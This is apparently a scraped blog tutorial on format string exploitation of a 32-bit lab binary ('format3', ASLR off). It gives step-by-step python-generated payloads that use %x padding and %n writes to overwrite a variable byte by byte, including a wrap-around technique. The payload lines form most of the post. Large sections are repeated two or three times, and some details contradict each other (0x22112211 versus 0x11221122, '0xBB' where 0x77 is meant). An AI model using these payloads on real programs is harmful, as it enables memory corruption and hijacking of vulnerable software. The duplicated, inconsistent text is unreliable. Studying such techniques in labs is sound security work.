This is more like a continuation of the series on Format String Exploitation. There are multiple ways to exploit a format string. Here I will show you a method where the exploit might not look very optimized. We are going to cover this topic in later posts.
The main purpose of this post is to demonstrate how to write data at any given address in a memory in a more controlled fashion at some specified address by exploiting the format string exploit.
We start testing by looking into the offset of our controlled data and find that it is at position 10.
The main purpose of this post is to demonstrate how to write data at any given address in a memory in a more controlled fashion at some specified address by exploiting the format string exploit.
We will try to perform the attack in 2 ways
- Easy case : when we want to write value 0x99887766
- Slightly twisted case : we will write value 0x22112211
We will see in details why there they are easy or twisted in details below.
Let us look into the 1st Program
Let us look into the 1st Program
In this example our target is to rewrite the value of the variable modify with out desired data.
Things I have done for compilation,
- Compiled the binary with -m32 as I am showing example with 32bit version
- Turned ASLR Off
We start testing by looking into the offset of our controlled data and find that it is at position 10.
Now that I know that the offset I will try to rewrite the attack to get our controlled string at the end.
I will try to modify the same attack string in a more controlled manner.
"AAAA"+"%x."*8+"%x"+"%x"
I have separated two "%x" from the actual string, so that I can use 1st one to manage the writes and 2nd one to replace with "%n".
We have our basic structure ready to start exploiting. Let us see if we can overwrite the value of Modify. We will place the address of the variable in placeholer "AAAA" and replace the last %x with %n
We have overwritten the location with a random value, our next objective is to rewrite with our desired value 0x99887766 in memory. We need 4 writes at 4 consecutive locations 0x0804a02c,0x0804a02d,0x0804a02e,0x0804a02f. One important concept we need to remember here is that is due to little endian architecture the bytes are placed in reverse order. So 66 will be at lower address(0x0804a02c) and 99 will be at higher address(0x0804a02f).
Please not this process will not work eventually. However I decided to document it to make you understand why it wont. No worries, we will also learn the right way to do this.
To write the value 0x99887766 in memory , we need to write the 1st value 0x66 in memory due to the little endian architecture.
Since a normal write %x write 8 bytes, let us calculate how much do we need to control the width to overwrite with 0x66 instead of 0x32 ( look at the image above )
0x66 + 8 - 50 = 0x3c = 60
You might have a question about that +8 in the above calculation. This is something that I found during trial and error. If I just do this calculation
0x66 - 50 = 0x34 = 52
The output will be a result falling short of value 8.
Modify => Address => 0x0804a02c :: Value in Decimal => 94 :: Value in hex => 0x0000005e
Let get back to our next objective of writing 0xBB at the next location. To write the next next location we need to give the next address to our location, that is 0x77 at 0x0804a02d
So we modify the exploit code a little bit and add the address at the next placeholder. Secondly we need to calculate the amount of width we need to put to write exactly 0x77 bytes. As we have previously written 0x66 bytes , the amount of bytes we need to write to get a total number of 0x77 bytes is as follows
0x77 - 0x66 = 0x11 = 17 bytes
The modified exploit looks like
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"\x2d\xa0\x04\x08"+"%x."*8+"%60x"+"%n"+"%17x"+"%n")')
Rectifying the mistake
So it didn't workout as expected. I spent sometime googling and found out that this happens due to fact that bytes alignment is not proper when we are trying to increment by bytes and we need to fill some junk values between the address during out writes. Hence we need to start fresh with a new technique.
[ADDRESS] +[JUNK]+[ADDRESS]+[JUNK]+[ADDRESS]+[JUNK]+[ADDRESS]+[JUNK]+[FORMAT-STRING]
So modifying our initial exploit in the above format we get this
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%x"+"%n")')
I will try to modify the same attack string in a more controlled manner.
"AAAA"+"%x."*8+"%x"+"%x"
I have separated two "%x" from the actual string, so that I can use 1st one to manage the writes and 2nd one to replace with "%n".
We have our basic structure ready to start exploiting. Let us see if we can overwrite the value of Modify. We will place the address of the variable in placeholer "AAAA" and replace the last %x with %n
We have overwritten the location with a random value, our next objective is to rewrite with our desired value 0x99887766 in memory. We need 4 writes at 4 consecutive locations 0x0804a02c,0x0804a02d,0x0804a02e,0x0804a02f. One important concept we need to remember here is that is due to little endian architecture the bytes are placed in reverse order. So 66 will be at lower address(0x0804a02c) and 99 will be at higher address(0x0804a02f).
Please not this process will not work eventually. However I decided to document it to make you understand why it wont. No worries, we will also learn the right way to do this.
To write the value 0x99887766 in memory , we need to write the 1st value 0x66 in memory due to the little endian architecture.
Since a normal write %x write 8 bytes, let us calculate how much do we need to control the width to overwrite with 0x66 instead of 0x32 ( look at the image above )
0x66 + 8 - 50 = 0x3c = 60
You might have a question about that +8 in the above calculation. This is something that I found during trial and error. If I just do this calculation
0x66 - 50 = 0x34 = 52
The output will be a result falling short of value 8.
Modify => Address => 0x0804a02c :: Value in Decimal => 94 :: Value in hex => 0x0000005e
Let get back to our next objective of writing 0xBB at the next location. To write the next next location we need to give the next address to our location, that is 0x77 at 0x0804a02d
So we modify the exploit code a little bit and add the address at the next placeholder. Secondly we need to calculate the amount of width we need to put to write exactly 0x77 bytes. As we have previously written 0x66 bytes , the amount of bytes we need to write to get a total number of 0x77 bytes is as follows
0x77 - 0x66 = 0x11 = 17 bytes
The modified exploit looks like
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"\x2d\xa0\x04\x08"+"%x."*8+"%60x"+"%n"+"%17x"+"%n")')
Rectifying the mistake
So it didn't workout as expected. I spent sometime googling and found out that this happens due to fact that bytes alignment is not proper when we are trying to increment by bytes and we need to fill some junk values between the address during out writes. Hence we need to start fresh with a new technique.
[ADDRESS] +[JUNK]+[ADDRESS]+[JUNK]+[ADDRESS]+[JUNK]+[ADDRESS]+[JUNK]+[FORMAT-STRING]
So modifying our initial exploit in the above format we get this
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%x"+"%n")')
Just like before, we see total bytes written is 0x64 (100) and we need 0x66, so let us calculate the width
0x66 + 8 - 0x64 = A (10)
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n")')
0x66 + 8 - 0x64 = A (10)
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n")')
Nice, we are able to overwrite the value with 0x66
Next let us calculate number of bytes to write next
0x77 - 0x66 = 0x11 ( 17 ) Please note we are not adding +8 here as its not required ( based on observation )
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n"+"%17x"+"%n")')
0x88 - 0x77 = 0x11 ( 17 )
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n"+"%17x"+"%n"+"%17x"+"%n")')
0x99 - 0x88 = 0x11 ( 17 )
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n"+"%17x"+"%n"+"%17x"+"%n"+"%17x"+"%n")')
Great, we are able to overwrite with our desired data. This post has already become lengthy and without wasting more time I will directly bring out the limitation of the above method and how we can overcome it.
You see the consecutive bytes that we wrote are higher than the previous ones, 0x66 then 0x77. It was easy to calculate the remaining bytes. However what would have been the scenario if we need to write 0x77 then 0x66 ? Should we 0x66 - 0x77 ??? Well we cannot. So the solution to this limitation is we write some extra data. We know 0x66 - 0x77 will be negative, however 0x166 - 0x77 will be positive. This method will write some extra data to the next byte.We dont need to worry about it as the next byte will be overwritten by subsequent writes while preserving our required data. It will be clear with the practical example. Lets try with our example of writing 0x11221122 to our value.
So as usual, let us first write our simple exploit and see how much data it prints by default
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%x"+"%n")')
So we need value 0x11 (0x17 ) which is lesser than 0x64 (100),hence let us wrap to higher value and write some extra data to next bytes and while preserving our required data.
So we do
0x111 + 8 - 0x64 = B5 (181)
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n")')
We are able to overwrite with 0x11 for the 1st byte. Also note we wrote a value 0x1 in the next byte (in Pink). No worries, it will be overwritten next. Next we need 0x22
0x22 - 0x11 = 0x11 (17)
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n"+"%17x"+"%n")')
Next we write 0x11, again 0x11 is lesser than 0x22, so we cannot do 0x11 - 0x22, need a wrap again with a bigger value that
0x111 - 0x22 = EF (239)
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n"+"%17x"+"%n"+"%239x"+"%n")')
Next we write 0x22 again,
0x22 - 0x11 = 0x11 (17)
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n"+"%17x"+"%n"+"%239x"+"%n"+"%17x"+"%n")')
Thank you for reading.
References:
https://security.stackexchange.com/questions/62240/why-does-printf-vulnerability-require-4-bytes-of-junk-data-hacking-the-ar
Next let us calculate number of bytes to write next
0x77 - 0x66 = 0x11 ( 17 ) Please note we are not adding +8 here as its not required ( based on observation )
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n"+"%17x"+"%n")')
0x88 - 0x77 = 0x11 ( 17 )
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n"+"%17x"+"%n"+"%17x"+"%n")')
0x99 - 0x88 = 0x11 ( 17 )
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n"+"%17x"+"%n"+"%17x"+"%n"+"%17x"+"%n")')
Great, we are able to overwrite with our desired data. This post has already become lengthy and without wasting more time I will directly bring out the limitation of the above method and how we can overcome it.
You see the consecutive bytes that we wrote are higher than the previous ones, 0x66 then 0x77. It was easy to calculate the remaining bytes. However what would have been the scenario if we need to write 0x77 then 0x66 ? Should we 0x66 - 0x77 ??? Well we cannot. So the solution to this limitation is we write some extra data. We know 0x66 - 0x77 will be negative, however 0x166 - 0x77 will be positive. This method will write some extra data to the next byte.We dont need to worry about it as the next byte will be overwritten by subsequent writes while preserving our required data. It will be clear with the practical example. Lets try with our example of writing 0x11221122 to our value.
So as usual, let us first write our simple exploit and see how much data it prints by default
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%x"+"%n")')
So we need value 0x11 (0x17 ) which is lesser than 0x64 (100),hence let us wrap to higher value and write some extra data to next bytes and while preserving our required data.
So we do
0x111 + 8 - 0x64 = B5 (181)
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n")')
We are able to overwrite with 0x11 for the 1st byte. Also note we wrote a value 0x1 in the next byte (in Pink). No worries, it will be overwritten next. Next we need 0x22
0x22 - 0x11 = 0x11 (17)
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n"+"%17x"+"%n")')
Next we write 0x11, again 0x11 is lesser than 0x22, so we cannot do 0x11 - 0x22, need a wrap again with a bigger value that
0x111 - 0x22 = EF (239)
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n"+"%17x"+"%n"+"%239x"+"%n")')
Next we write 0x22 again,
0x22 - 0x11 = 0x11 (17)
./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n"+"%17x"+"%n"+"%239x"+"%n"+"%17x"+"%n")')
Thank you for reading.
References:
https://security.stackexchange.com/questions/62240/why-does-printf-vulnerability-require-4-bytes-of-junk-data-hacking-the-ar